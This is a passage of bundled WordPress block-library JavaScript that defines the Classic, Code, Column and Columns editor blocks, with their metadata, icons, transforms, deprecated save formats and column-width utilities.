7477 if (editor) {
7478 editor.focus();
7479 }
7480 }
7481 function onToolbarKeyDown(event) {
7482 event.stopPropagation();
7483 event.nativeEvent.stopImmediatePropagation();
7484 }
7485 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
7486 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
7487 "div",
7488 {
7489 id: `toolbar-${clientId}`,
7490 className: "block-library-classic__toolbar",
7491 onClick: focus,
7492 "data-placeholder": (0,external_wp_i18n_namespaceObject.__)("Classic"),
7493 onKeyDown: onToolbarKeyDown
7494 },
7495 "toolbar"
7496 ),
7497 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
7498 "div",
7499 {
7500 id: `editor-${clientId}`,
7501 className: "wp-block-freeform block-library-rich-text__tinymce"
7502 },
7503 "editor"
7504 )
7505 ] });
7506}
7507
7508
7509;// ./node_modules/@wordpress/block-library/build-module/freeform/block.json
7510const freeform_block_namespaceObject = /*#__PURE__*/JSON.parse('{"$schema":"https://schemas.wp.org/trunk/block.json","apiVersion":3,"name":"core/freeform","title":"Classic","category":"text","description":"Use the classic WordPress editor.","textdomain":"default","attributes":{"content":{"type":"string","source":"raw"}},"supports":{"className":false,"customClassName":false,"lock":false,"reusable":false,"renaming":false,"visibility":false},"editorStyle":"wp-block-freeform-editor"}');
7511;// ./node_modules/@wordpress/block-library/build-module/freeform/save.js
7512
7513
7514function freeform_save_save({ attributes }) {
7515 const { content } = attributes;
7516 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_element_namespaceObject.RawHTML, { children: content });
7517}
7518
7519
7520;// ./node_modules/@wordpress/block-library/build-module/freeform/index.js
7521
7522
7523
7524
7525
7526const { name: freeform_name } = freeform_block_namespaceObject;
7527const freeform_settings = {
7528 icon: classic_default,
7529 edit: FreeformEdit,
7530 save: freeform_save_save
7531};
7532const freeform_init = () => initBlock({ name: freeform_name, metadata: freeform_block_namespaceObject, settings: freeform_settings });
7533
7534
7535;// ./node_modules/@wordpress/icons/build-module/library/code.js
7536
7537
7538var code_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { viewBox: "0 0 24 24", xmlns: "http://www.w3.org/2000/svg", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M20.8 10.7l-4.3-4.3-1.1 1.1 4.3 4.3c.1.1.1.3 0 .4l-4.3 4.3 1.1 1.1 4.3-4.3c.7-.8.7-1.9 0-2.6zM4.2 11.8l4.3-4.3-1-1-4.3 4.3c-.7.7-.7 1.8 0 2.5l4.3 4.3 1.1-1.1-4.3-4.3c-.2-.1-.2-.3-.1-.4z" }) });
7539
7540
7541;// ./node_modules/@wordpress/block-library/build-module/code/edit.js
7542
7543
7544
7545
7546function CodeEdit({
7547 attributes,
7548 setAttributes,
7549 onRemove,
7550 insertBlocksAfter,
7551 mergeBlocks
7552}) {
7553 const blockProps = (0,external_wp_blockEditor_namespaceObject.useBlockProps)();
7554 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("pre", { ...blockProps, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
7555 external_wp_blockEditor_namespaceObject.RichText,
7556 {
7557 tagName: "code",
7558 identifier: "content",
7559 value: attributes.content,
7560 onChange: (content) => setAttributes({ content }),
7561 onRemove,
7562 onMerge: mergeBlocks,
7563 placeholder: (0,external_wp_i18n_namespaceObject.__)("Write code\u2026"),
7564 "aria-label": (0,external_wp_i18n_namespaceObject.__)("Code"),
7565 preserveWhiteSpace: true,
7566 __unstablePastePlainText: true,
7567 __unstableOnSplitAtDoubleLineEnd: () => insertBlocksAfter((0,external_wp_blocks_namespaceObject.createBlock)((0,external_wp_blocks_namespaceObject.getDefaultBlockName)()))
7568 }
7569 ) });
7570}
7571
7572
7573;// ./node_modules/@wordpress/block-library/build-module/code/block.json
7574const code_block_namespaceObject = /*#__PURE__*/JSON.parse('{"$schema":"https://schemas.wp.org/trunk/block.json","apiVersion":3,"name":"core/code","title":"Code","category":"text","description":"Display code snippets that respect your spacing and tabs.","textdomain":"default","attributes":{"content":{"type":"rich-text","source":"rich-text","selector":"code","__unstablePreserveWhiteSpace":true,"role":"content"}},"supports":{"align":["wide"],"anchor":true,"typography":{"fontSize":true,"lineHeight":true,"__experimentalFontFamily":true,"__experimentalFontWeight":true,"__experimentalFontStyle":true,"__experimentalTextTransform":true,"__experimentalTextDecoration":true,"__experimentalLetterSpacing":true,"__experimentalDefaultControls":{"fontSize":true}},"spacing":{"margin":["top","bottom"],"padding":true,"__experimentalDefaultControls":{"margin":false,"padding":false}},"__experimentalBorder":{"radius":true,"color":true,"width":true,"style":true,"__experimentalDefaultControls":{"width":true,"color":true}},"color":{"text":true,"background":true,"gradients":true,"__experimentalDefaultControls":{"background":true,"text":true}},"interactivity":{"clientNavigation":true}},"style":"wp-block-code"}');
7575;// ./node_modules/@wordpress/block-library/build-module/code/utils.js
7576
7577function utils_escape(content) {
7578 return (0,external_wp_compose_namespaceObject.pipe)(
7579 escapeOpeningSquareBrackets,
7580 escapeProtocolInIsolatedUrls
7581 )(content || "");
7582}
7583function escapeOpeningSquareBrackets(content) {
7584 return content.replace(/\[/g, "[");
7585}
7586function escapeProtocolInIsolatedUrls(content) {
7587 return content.replace(
7588 /^(\s*https?:)\/\/([^\s<>"]+\s*)$/m,
7589 "$1//$2"
7590 );
7591}
7592
7593
7594;// ./node_modules/@wordpress/block-library/build-module/code/save.js
7595
7596
7597
7598function code_save_save({ attributes }) {
7599 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("pre", { ...external_wp_blockEditor_namespaceObject.useBlockProps.save(), children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
7600 external_wp_blockEditor_namespaceObject.RichText.Content,
7601 {
7602 tagName: "code",
7603 value: utils_escape(
7604 typeof attributes.content === "string" ? attributes.content : attributes.content.toHTMLString({
7605 preserveWhiteSpace: true
7606 })
7607 )
7608 }
7609 ) });
7610}
7611
7612
7613;// ./node_modules/@wordpress/block-library/build-module/code/transforms.js
7614
7615
7616
7617const code_transforms_transforms = {
7618 from: [
7619 {
7620 type: "enter",
7621 regExp: /^```$/,
7622 transform: () => (0,external_wp_blocks_namespaceObject.createBlock)("core/code")
7623 },
7624 {
7625 type: "block",
7626 blocks: ["core/paragraph"],
7627 transform: (attributes) => {
7628 const { content } = attributes;
7629 return (0,external_wp_blocks_namespaceObject.createBlock)("core/code", {
7630 ...attributes,
7631 ...getTransformedAttributes(attributes, "core/code"),
7632 content
7633 });
7634 }
7635 },
7636 {
7637 type: "block",
7638 blocks: ["core/html"],
7639 transform: (attributes) => {
7640 const { content: text } = attributes;
7641 return (0,external_wp_blocks_namespaceObject.createBlock)("core/code", {
7642 ...attributes,
7643 ...getTransformedAttributes(attributes, "core/code"),
7644 // The HTML is plain text (with plain line breaks), so
7645 // convert it to rich text.
7646 content: (0,external_wp_richText_namespaceObject.toHTMLString)({ value: (0,external_wp_richText_namespaceObject.create)({ text }) })
7647 });
7648 }
7649 },
7650 {
7651 type: "raw",
7652 isMatch: (node) => node.nodeName === "PRE" && node.children.length === 1 && node.firstChild.nodeName === "CODE",
7653 schema: {
7654 pre: {
7655 children: {
7656 code: {
7657 children: {
7658 "#text": {}
7659 }
7660 }
7661 }
7662 }
7663 }
7664 }
7665 ],
7666 to: [
7667 {
7668 type: "block",
7669 blocks: ["core/paragraph"],
7670 transform: (attributes) => {
7671 const { content } = attributes;
7672 return (0,external_wp_blocks_namespaceObject.createBlock)("core/paragraph", {
7673 ...getTransformedAttributes(attributes, "core/paragraph"),
7674 content
7675 });
7676 }
7677 }
7678 ]
7679};
7680var code_transforms_transforms_default = code_transforms_transforms;
7681
7682
7683;// ./node_modules/@wordpress/block-library/build-module/code/index.js
7684
7685
7686
7687
7688
7689
7690
7691const { name: code_name } = code_block_namespaceObject;
7692const code_settings = {
7693 icon: code_default,
7694 example: {
7695 attributes: {
7696 /* eslint-disable @wordpress/i18n-no-collapsible-whitespace */
7697 // translators: Preserve \n markers for line breaks
7698 content: (0,external_wp_i18n_namespaceObject.__)(
7699 "// A \u201Cblock\u201D is the abstract term used\n// to describe units of markup that\n// when composed together, form the\n// content or layout of a page.\nregisterBlockType( name, settings );"
7700 )
7701 /* eslint-enable @wordpress/i18n-no-collapsible-whitespace */
7702 }
7703 },
7704 merge(attributes, attributesToMerge) {
7705 return {
7706 content: attributes.content + "\n\n" + attributesToMerge.content
7707 };
7708 },
7709 transforms: code_transforms_transforms_default,
7710 edit: CodeEdit,
7711 save: code_save_save
7712};
7713const code_init = () => initBlock({ name: code_name, metadata: code_block_namespaceObject, settings: code_settings });
7714
7715
7716;// ./node_modules/@wordpress/icons/build-module/library/column.js
7717
7718
7719var column_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M19 6H6c-1.1 0-2 .9-2 2v9c0 1.1.9 2 2 2h13c1.1 0 2-.9 2-2V8c0-1.1-.9-2-2-2zM6 17.5c-.3 0-.5-.2-.5-.5V8c0-.3.2-.5.5-.5h3v10H6zm13.5-.5c0 .3-.2.5-.5.5h-3v-10h3c.3 0 .5.2.5.5v9z" }) });
7720
7721
7722;// ./node_modules/@wordpress/block-library/build-module/column/deprecated.js
7723
7724
7725
7726const column_deprecated_deprecated = [
7727 {
7728 attributes: {
7729 verticalAlignment: {
7730 type: "string"
7731 },
7732 width: {
7733 type: "number",
7734 min: 0,
7735 max: 100
7736 }
7737 },
7738 isEligible({ width }) {
7739 return isFinite(width);
7740 },
7741 migrate(attributes) {
7742 return {
7743 ...attributes,
7744 width: `${attributes.width}%`
7745 };
7746 },
7747 save({ attributes }) {
7748 const { verticalAlignment, width } = attributes;
7749 const wrapperClasses = dist_clsx({
7750 [`is-vertically-aligned-${verticalAlignment}`]: verticalAlignment
7751 });
7752 const style = { flexBasis: width + "%" };
7753 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: wrapperClasses, style, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.InnerBlocks.Content, {}) });
7754 }
7755 }
7756];
7757var column_deprecated_deprecated_default = column_deprecated_deprecated;
7758
7759
7760;// ./node_modules/@wordpress/block-library/build-module/column/edit.js
7761
7762
7763
7764
7765
7766
7767
7768function ColumnInspectorControls({ width, setAttributes }) {
7769 const [availableUnits] = (0,external_wp_blockEditor_namespaceObject.useSettings)("spacing.units");
7770 const units = (0,external_wp_components_namespaceObject.__experimentalUseCustomUnits)({
7771 availableUnits: availableUnits || ["%", "px", "em", "rem", "vw"]
7772 });
7773 const dropdownMenuProps = useToolsPanelDropdownMenuProps();
7774 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
7775 external_wp_components_namespaceObject.__experimentalToolsPanel,
7776 {
7777 label: (0,external_wp_i18n_namespaceObject.__)("Settings"),
7778 resetAll: () => {
7779 setAttributes({ width: void 0 });
7780 },
7781 dropdownMenuProps,
7782 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
7783 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
7784 {
7785 hasValue: () => width !== void 0,
7786 label: (0,external_wp_i18n_namespaceObject.__)("Width"),
7787 onDeselect: () => setAttributes({ width: void 0 }),
7788 isShownByDefault: true,
7789 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
7790 external_wp_components_namespaceObject.__experimentalUnitControl,
7791 {
7792 label: (0,external_wp_i18n_namespaceObject.__)("Width"),
7793 __unstableInputWidth: "calc(50% - 8px)",
7794 __next40pxDefaultSize: true,
7795 value: width || "",
7796 onChange: (nextWidth) => {
7797 nextWidth = 0 > parseFloat(nextWidth) ? "0" : nextWidth;
7798 setAttributes({ width: nextWidth });
7799 },
7800 units
7801 }
7802 )
7803 }
7804 )
7805 }
7806 );
7807}
7808function ColumnEdit({
7809 attributes: { verticalAlignment, width, templateLock, allowedBlocks },
7810 setAttributes,
7811 clientId
7812}) {
7813 const classes = dist_clsx("block-core-columns", {
7814 [`is-vertically-aligned-${verticalAlignment}`]: verticalAlignment
7815 });
7816 const { columnsIds, hasChildBlocks, rootClientId } = (0,external_wp_data_namespaceObject.useSelect)(
7817 (select) => {
7818 const { getBlockOrder, getBlockRootClientId } = select(external_wp_blockEditor_namespaceObject.store);
7819 const rootId = getBlockRootClientId(clientId);
7820 return {
7821 hasChildBlocks: getBlockOrder(clientId).length > 0,
7822 rootClientId: rootId,
7823 columnsIds: getBlockOrder(rootId)
7824 };
7825 },
7826 [clientId]
7827 );
7828 const { updateBlockAttributes } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_blockEditor_namespaceObject.store);
7829 const updateAlignment = (value) => {
7830 setAttributes({ verticalAlignment: value });
7831 updateBlockAttributes(rootClientId, {
7832 verticalAlignment: null
7833 });
7834 };
7835 const widthWithUnit = Number.isFinite(width) ? width + "%" : width;
7836 const blockProps = (0,external_wp_blockEditor_namespaceObject.useBlockProps)({
7837 className: classes,
7838 style: widthWithUnit ? { flexBasis: widthWithUnit } : void 0
7839 });
7840 const columnsCount = columnsIds.length;
7841 const currentColumnPosition = columnsIds.indexOf(clientId) + 1;
7842 const label = (0,external_wp_i18n_namespaceObject.sprintf)(
7843 /* translators: 1: Block label (i.e. "Block: Column"), 2: Position of the selected block, 3: Total number of sibling blocks of the same type */
7844 (0,external_wp_i18n_namespaceObject.__)("%1$s (%2$d of %3$d)"),
7845 blockProps["aria-label"],
7846 currentColumnPosition,
7847 columnsCount
7848 );
7849 const innerBlocksProps = (0,external_wp_blockEditor_namespaceObject.useInnerBlocksProps)(
7850 { ...blockProps, "aria-label": label },
7851 {
7852 templateLock,
7853 allowedBlocks,
7854 renderAppender: hasChildBlocks ? void 0 : external_wp_blockEditor_namespaceObject.InnerBlocks.ButtonBlockAppender
7855 }
7856 );
7857 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
7858 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.BlockControls, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
7859 external_wp_blockEditor_namespaceObject.BlockVerticalAlignmentToolbar,
7860 {
7861 onChange: updateAlignment,
7862 value: verticalAlignment,
7863 controls: ["top", "center", "bottom", "stretch"]
7864 }
7865 ) }),
7866 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.InspectorControls, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
7867 ColumnInspectorControls,
7868 {
7869 width,
7870 setAttributes
7871 }
7872 ) }),
7873 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { ...innerBlocksProps })
7874 ] });
7875}
7876var column_edit_edit_default = ColumnEdit;
7877
7878
7879;// ./node_modules/@wordpress/block-library/build-module/column/block.json
7880const column_block_namespaceObject = /*#__PURE__*/JSON.parse('{"$schema":"https://schemas.wp.org/trunk/block.json","apiVersion":3,"name":"core/column","title":"Column","category":"design","parent":["core/columns"],"description":"A single column within a columns block.","textdomain":"default","attributes":{"verticalAlignment":{"type":"string"},"width":{"type":"string"},"templateLock":{"type":["string","boolean"],"enum":["all","insert","contentOnly",false]}},"supports":{"__experimentalOnEnter":true,"anchor":true,"reusable":false,"html":false,"color":{"gradients":true,"heading":true,"button":true,"link":true,"__experimentalDefaultControls":{"background":true,"text":true}},"shadow":true,"spacing":{"blockGap":true,"padding":true,"__experimentalDefaultControls":{"padding":true,"blockGap":true}},"__experimentalBorder":{"color":true,"radius":true,"style":true,"width":true,"__experimentalDefaultControls":{"color":true,"radius":true,"style":true,"width":true}},"typography":{"fontSize":true,"lineHeight":true,"__experimentalFontFamily":true,"__experimentalFontWeight":true,"__experimentalFontStyle":true,"__experimentalTextTransform":true,"__experimentalTextDecoration":true,"__experimentalLetterSpacing":true,"__experimentalDefaultControls":{"fontSize":true}},"layout":true,"interactivity":{"clientNavigation":true},"allowedBlocks":true}}');
7881;// ./node_modules/@wordpress/block-library/build-module/column/save.js
7882
7883
7884
7885function column_save_save({ attributes }) {
7886 const { verticalAlignment, width } = attributes;
7887 const wrapperClasses = dist_clsx({
7888 [`is-vertically-aligned-${verticalAlignment}`]: verticalAlignment
7889 });
7890 let style;
7891 if (width && /\d/.test(width)) {
7892 let flexBasis = Number.isFinite(width) ? width + "%" : width;
7893 if (!Number.isFinite(width) && width?.endsWith("%")) {
7894 const multiplier = 1e12;
7895 flexBasis = Math.round(Number.parseFloat(width) * multiplier) / multiplier + "%";
7896 }
7897 style = { flexBasis };
7898 }
7899 const blockProps = external_wp_blockEditor_namespaceObject.useBlockProps.save({
7900 className: wrapperClasses,
7901 style
7902 });
7903 const innerBlocksProps = external_wp_blockEditor_namespaceObject.useInnerBlocksProps.save(blockProps);
7904 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { ...innerBlocksProps });
7905}
7906
7907
7908;// ./node_modules/@wordpress/block-library/build-module/column/index.js
7909
7910
7911
7912
7913
7914
7915const { name: column_name } = column_block_namespaceObject;
7916const column_settings = {
7917 icon: column_default,
7918 edit: column_edit_edit_default,
7919 save: column_save_save,
7920 deprecated: column_deprecated_deprecated_default
7921};
7922const column_init = () => initBlock({ name: column_name, metadata: column_block_namespaceObject, settings: column_settings });
7923
7924
7925;// ./node_modules/@wordpress/icons/build-module/library/columns.js
7926
7927
7928var columns_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { viewBox: "0 0 24 24", xmlns: "http://www.w3.org/2000/svg", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
7929 external_wp_primitives_namespaceObject.Path,
7930 {
7931 fillRule: "evenodd",
7932 clipRule: "evenodd",
7933 d: "M15 7.5h-5v10h5v-10Zm1.5 0v10H19a.5.5 0 0 0 .5-.5V8a.5.5 0 0 0-.5-.5h-2.5ZM6 7.5h2.5v10H6a.5.5 0 0 1-.5-.5V8a.5.5 0 0 1 .5-.5ZM6 6h13a2 2 0 0 1 2 2v9a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V8a2 2 0 0 1 2-2Z"
7934 }
7935) });
7936
7937
7938;// ./node_modules/@wordpress/block-library/build-module/columns/deprecated.js
7939
7940
7941
7942
7943function getDeprecatedLayoutColumn(originalContent) {
7944 let { doc } = getDeprecatedLayoutColumn;
7945 if (!doc) {
7946 doc = document.implementation.createHTMLDocument("");
7947 getDeprecatedLayoutColumn.doc = doc;
7948 }
7949 let columnMatch;
7950 doc.body.innerHTML = originalContent;
7951 for (const classListItem of doc.body.firstChild.classList) {
7952 if (columnMatch = classListItem.match(/^layout-column-(\d+)$/)) {
7953 return Number(columnMatch[1]) - 1;
7954 }
7955 }
7956}
7957const migrateCustomColors = (attributes) => {
7958 if (!attributes.customTextColor && !attributes.customBackgroundColor) {
7959 return attributes;
7960 }
7961 const style = { color: {} };
7962 if (attributes.customTextColor) {
7963 style.color.text = attributes.customTextColor;
7964 }
7965 if (attributes.customBackgroundColor) {
7966 style.color.background = attributes.customBackgroundColor;
7967 }
7968 const { customTextColor, customBackgroundColor, ...restAttributes } = attributes;
7969 return {
7970 ...restAttributes,
7971 style,
7972 isStackedOnMobile: true
7973 };
7974};
7975var columns_deprecated_deprecated_default = [
7976 {
7977 attributes: {
7978 verticalAlignment: {
7979 type: "string"
7980 },
7981 backgroundColor: {
7982 type: "string"
7983 },
7984 customBackgroundColor: {
7985 type: "string"
7986 },
7987 customTextColor: {
7988 type: "string"
7989 },
7990 textColor: {
7991 type: "string"
7992 }
7993 },
7994 migrate: migrateCustomColors,
7995 save({ attributes }) {
7996 const {
7997 verticalAlignment,
7998 backgroundColor,
7999 customBackgroundColor,
8000 textColor,
8001 customTextColor
8002 } = attributes;
8003 const backgroundClass = (0,external_wp_blockEditor_namespaceObject.getColorClassName)(
8004 "background-color",
8005 backgroundColor
8006 );
8007 const textClass = (0,external_wp_blockEditor_namespaceObject.getColorClassName)("color", textColor);
8008 const className = dist_clsx({
8009 "has-background": backgroundColor || customBackgroundColor,
8010 "has-text-color": textColor || customTextColor,
8011 [backgroundClass]: backgroundClass,
8012 [textClass]: textClass,
8013 [`are-vertically-aligned-${verticalAlignment}`]: verticalAlignment
8014 });
8015 const style = {
8016 backgroundColor: backgroundClass ? void 0 : customBackgroundColor,
8017 color: textClass ? void 0 : customTextColor
8018 };
8019 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
8020 "div",
8021 {
8022 className: className ? className : void 0,
8023 style,
8024 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.InnerBlocks.Content, {})
8025 }
8026 );
8027 }
8028 },
8029 {
8030 attributes: {
8031 columns: {
8032 type: "number",
8033 default: 2
8034 }
8035 },
8036 isEligible(attributes, innerBlocks) {
8037 const isFastPassEligible = innerBlocks.some(
8038 (innerBlock) => /layout-column-\d+/.test(innerBlock.originalContent)
8039 );
8040 if (!isFastPassEligible) {
8041 return false;
8042 }
8043 return innerBlocks.some(
8044 (innerBlock) => getDeprecatedLayoutColumn(innerBlock.originalContent) !== void 0
8045 );
8046 },
8047 migrate(attributes, innerBlocks) {
8048 const columns = innerBlocks.reduce((accumulator, innerBlock) => {
8049 const { originalContent } = innerBlock;
8050 let columnIndex = getDeprecatedLayoutColumn(originalContent);
8051 if (columnIndex === void 0) {
8052 columnIndex = 0;
8053 }
8054 if (!accumulator[columnIndex]) {
8055 accumulator[columnIndex] = [];
8056 }
8057 accumulator[columnIndex].push(innerBlock);
8058 return accumulator;
8059 }, []);
8060 const migratedInnerBlocks = columns.map(
8061 (columnBlocks) => (0,external_wp_blocks_namespaceObject.createBlock)("core/column", {}, columnBlocks)
8062 );
8063 const { columns: ignoredColumns, ...restAttributes } = attributes;
8064 return [
8065 {
8066 ...restAttributes,
8067 isStackedOnMobile: true
8068 },
8069 migratedInnerBlocks
8070 ];
8071 },
8072 save({ attributes }) {
8073 const { columns } = attributes;
8074 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: `has-${columns}-columns`, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.InnerBlocks.Content, {}) });
8075 }
8076 },
8077 {
8078 attributes: {
8079 columns: {
8080 type: "number",
8081 default: 2
8082 }
8083 },
8084 migrate(attributes, innerBlocks) {
8085 const { columns, ...restAttributes } = attributes;
8086 attributes = {
8087 ...restAttributes,
8088 isStackedOnMobile: true
8089 };
8090 return [attributes, innerBlocks];
8091 },
8092 save({ attributes }) {
8093 const { verticalAlignment, columns } = attributes;
8094 const wrapperClasses = dist_clsx(`has-${columns}-columns`, {
8095 [`are-vertically-aligned-${verticalAlignment}`]: verticalAlignment
8096 });
8097 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: wrapperClasses, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.InnerBlocks.Content, {}) });
8098 }
8099 }
8100];
8101
8102
8103;// ./node_modules/@wordpress/block-library/build-module/columns/utils.js
8104const toWidthPrecision = (value) => {
8105 const unitlessValue = parseFloat(value);
8106 return Number.isFinite(unitlessValue) ? parseFloat(unitlessValue.toFixed(2)) : void 0;
8107};
8108function getEffectiveColumnWidth(block, totalBlockCount) {
8109 const { width = 100 / totalBlockCount } = block.attributes;
8110 return toWidthPrecision(width);
8111}
8112function getTotalColumnsWidth(blocks, totalBlockCount = blocks.length) {
8113 return blocks.reduce(
8114 (sum, block) => sum + getEffectiveColumnWidth(block, totalBlockCount),
8115 0
8116 );
8117}
8118function getColumnWidths(blocks, totalBlockCount = blocks.length) {
8119 return blocks.reduce((accumulator, block) => {
8120 const width = getEffectiveColumnWidth(block, totalBlockCount);
8121 return Object.assign(accumulator, { [block.clientId]: width });
8122 }, {});
8123}
8124function getRedistributedColumnWidths(blocks, availableWidth, totalBlockCount = blocks.length) {
8125 const totalWidth = getTotalColumnsWidth(blocks, totalBlockCount);
8126 return Object.fromEntries(
8127 Object.entries(getColumnWidths(blocks, totalBlockCount)).map(
8128 ([clientId, width]) => {
8129 const newWidth = availableWidth * width / totalWidth;
8130 return [clientId, toWidthPrecision(newWidth)];
8131 }
8132 )
8133 );
8134}
8135function hasExplicitPercentColumnWidths(blocks) {
8136 return blocks.every((block) => {
8137 const blockWidth = block.attributes.width;
8138 return Number.isFinite(
8139 blockWidth?.endsWith?.("%") ? parseFloat(blockWidth) : blockWidth
8140 );
8141 });
8142}
8143function getMappedColumnWidths(blocks, widths) {
8144 return blocks.map((block) => ({
8145 ...block,
8146 attributes: {
8147 ...block.attributes,
8148 width: `${widths[block.clientId]}%`
8149 }
8150 }));
8151}
8152function getWidths(blocks, withParsing = true) {
8153 return blocks.map((innerColumn) => {
8154 const innerColumnWidth = innerColumn.attributes.width || 100 / blocks.length;
8155 return withParsing ? parseFloat(innerColumnWidth) : innerColumnWidth;
8156 });
8157}
8158function getWidthWithUnit(width, unit) {
8159 width = 0 > parseFloat(width) ? "0" : width;
8160 if (isPercentageUnit(unit)) {
8161 width = Math.min(width, 100);
8162 }
8163 return `${width}${unit}`;
8164}
8165function isPercentageUnit(unit) {
8166 return unit === "%";
8167}
8168
8169
8170;// ./node_modules/@wordpress/block-library/build-module/columns/edit.js
8171
8172
8173
8174
8175
8176
8177
8178
8179
8180const edit_DEFAULT_BLOCK = {
8181 name: "core/column"
8182};
8183function edit_ColumnInspectorControls({
8184 clientId,
8185 setAttributes,
8186 isStackedOnMobile
8187}) {
8188 const { count, canInsertColumnBlock, minCount } = (0,external_wp_data_namespaceObject.useSelect)(
8189 (select) => {
8190 const { canInsertBlockType, canRemoveBlock, getBlockOrder } = select(external_wp_blockEditor_namespaceObject.store);
8191 const blockOrder = getBlockOrder(clientId);
8192 const preventRemovalBlockIndexes = blockOrder.reduce(
8193 (acc, blockId, index) => {
8194 if (!canRemoveBlock(blockId)) {
8195 acc.push(index);
8196 }
8197 return acc;
8198 },
8199 []
8200 );
8201 return {
8202 count: blockOrder.length,
8203 canInsertColumnBlock: canInsertBlockType(
8204 "core/column",
8205 clientId
8206 ),
8207 minCount: Math.max(...preventRemovalBlockIndexes) + 1
8208 };
8209 },
8210 [clientId]
8211 );
8212 const { getBlocks } = (0,external_wp_data_namespaceObject.useSelect)(external_wp_blockEditor_namespaceObject.store);
8213 const { replaceInnerBlocks } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_blockEditor_namespaceObject.store);
8214 function updateColumns(previousColumns, newColumns) {
8215 let innerBlocks = getBlocks(clientId);
8216 const hasExplicitWidths = hasExplicitPercentColumnWidths(innerBlocks);
8217 const isAddingColumn = newColumns > previousColumns;
8218 if (isAddingColumn && hasExplicitWidths) {
8219 const newColumnWidth = toWidthPrecision(100 / newColumns);
8220 const newlyAddedColumns = newColumns - previousColumns;
8221 const widths = getRedistributedColumnWidths(
8222 innerBlocks,
8223 100 - newColumnWidth * newlyAddedColumns
8224 );
8225 innerBlocks = [
8226 ...getMappedColumnWidths(innerBlocks, widths),
8227 ...Array.from({
8228 length: newlyAddedColumns
8229 }).map(() => {
8230 return (0,external_wp_blocks_namespaceObject.createBlock)("core/column", {
8231 width: `${newColumnWidth}%`
8232 });
8233 })
8234 ];
8235 } else if (isAddingColumn) {
8236 innerBlocks = [
8237 ...innerBlocks,
8238 ...Array.from({
8239 length: newColumns - previousColumns
8240 }).map(() => {
8241 return (0,external_wp_blocks_namespaceObject.createBlock)("core/column");
8242 })
8243 ];
8244 } else if (newColumns < previousColumns) {
8245 innerBlocks = innerBlocks.slice(
8246 0,
8247 -(previousColumns - newColumns)
8248 );
8249 if (hasExplicitWidths) {
8250 const widths = getRedistributedColumnWidths(innerBlocks, 100);
8251 innerBlocks = getMappedColumnWidths(innerBlocks, widths);
8252 }
8253 }
8254 replaceInnerBlocks(clientId, innerBlocks);
8255 }
8256 const dropdownMenuProps = useToolsPanelDropdownMenuProps();
8257 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
8258 external_wp_components_namespaceObject.__experimentalToolsPanel,
8259 {
8260 label: (0,external_wp_i18n_namespaceObject.__)("Settings"),
8261 resetAll: () => {
8262 setAttributes({
8263 isStackedOnMobile: true
8264 });
8265 },
8266 dropdownMenuProps,
8267 children: [
8268 canInsertColumnBlock && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, { spacing: 4, style: { gridColumn: "1 / -1" }, children: [
8269 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
8270 external_wp_components_namespaceObject.RangeControl,
8271 {
8272 __nextHasNoMarginBottom: true,
8273 __next40pxDefaultSize: true,
